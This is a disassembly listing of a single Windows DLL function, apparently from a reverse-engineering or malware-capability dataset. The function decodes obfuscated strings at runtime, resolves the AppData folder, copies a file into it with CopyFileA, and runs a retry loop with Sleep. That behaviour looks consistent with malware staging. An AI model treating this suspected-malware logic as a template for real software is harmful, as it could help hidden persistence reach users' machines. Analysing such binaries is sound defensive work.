Function at 0x1000c32d
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
mov ebx, 0x1002b208
cmp dword [0x1002c204], esi
jne 0x1000c384
push 0x1002b1f0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0xffffffffffffffff
call fcn.1001b342
push eax
push 0xffffffffffffffff
call fcn.1001b342
push eax
push str._x_x
push 0x32
push ebx
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
mov dword [0x1002c204], 1
push 0x1002b1f0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [ebp + 8], esi
je 0x1000c666
cmp dword [ebp + 0xc], esi
je 0x1000c666
call fcn.100021e8
lea edx, [ebp - 0x320]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1000c3ae
push dword [ebp + 8]
mov edi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x320]
push eax
call edi
xor eax, eax
mov cl, byte [ebp + eax - 0x320]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1000c3cc
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x1000c3fe
push 0x94
push 0xb
mov edx, 0x10029754
call fcn.100117e3
push eax
lea eax, [ebp - 0x110]
push eax
call edi
lea eax, [ebp - 0x110]
push eax
call fcn.10011ff1
mov esi, eax
cmp esi, 0xffffffff
je 0x1000c433
push esi
call fcn.1001bb43
push esi
call fcn.1001b7eb
push esi
call fcn.1001bc6c
push esi
call fcn.10010350
lea eax, [ebp - 0x428]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov esi, 0x104
push esi
push 3
call fcn.10006923
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.SHLWAPI.dll_StrNCatA]
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x1000c48e
push 0x95
push 0xe
mov edx, 0x10029580
call fcn.100117e3
lea ecx, [ebp - 0x320]
push ecx
push eax
lea eax, [ebp - 0x110]
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x428]
push eax
call fcn.10012033
or eax, edx
je 0x1000c4cd
push 0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call fcn.100021e8
lea edx, [ebp - 0x218]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1000c4da
push 0xffffffffffffffff
call fcn.1001b342
push eax
push str._x.tmp
lea eax, [ebp - 0x110]
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
call edi
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp + 8], eax
test eax, eax
je 0x1000c581
push esi
lea ecx, [ebp - 0x320]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0x218]
push eax
call fcn.1001ac7e
mov edi, eax
test edi, edi
je 0x1000c56c
push 0
push dword [ebp + 8]
push edi
call fcn.1001ade4
cmp dword [edi], 1
sete al
test al, al
je 0x1000c567
push edi
call fcn.1001797f
jmp 0x1000c56c
call fcn.1001ada4
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
inc esi
jmp 0x1000c583
xor esi, esi
lea eax, [ebp - 0x320]
push eax
call fcn.100122c3
test esi, esi
je 0x1000c666
lea eax, [ebp - 0x218]
push eax
call fcn.10012033
test edx, edx
jl 0x1000c666
jg 0x1000c5b8
cmp eax, 0x1000
jb 0x1000c666
lea eax, [ebp - 0x218]
push eax
call fcn.100124a4
mov dword [ebp - 4], eax
test eax, eax
je 0x1000c666
lea edi, [ebp - 0x218]
call fcn.100122a2
mov eax, dword [ebp - 4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000c5e0
sub eax, edx
lea esi, [eax + 0x1000]
call fcn.10012679
mov dword [ebp - 8], eax
test eax, eax
je 0x1000c666
mov eax, 0x118
call fcn.1001dad0
mov edi, esp
test edi, edi
je 0x1000c621
push 0x8f
push 0x117
mov eax, edi
mov edx, 0x10027c98
call fcn.100117e3
push ebx
push dword [ebp - 4]
push ebx
push ecx
call fcn.10001f90
pop ecx
push eax
push dword [ebp + 0xc]
push ebx
push edi
push esi
push dword [ebp - 8]
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x24
xor esi, esi
push dword [ebp - 8]
call fcn.1000c1ac
test eax, eax
jne 0x1000c661
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 5
jl 0x1000c642
jmp 0x1000c666
call fcn.10005646
push 0x1002b1f0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [ebp - 4]
test esi, esi
je 0x1000c67d
call fcn.1001272d
mov esi, dword [ebp - 8]
test esi, esi
je 0x1000c689
call fcn.1001272d
lea esp, [ebp - 0x438]
pop edi
pop esi
pop ebx
leave
ret 8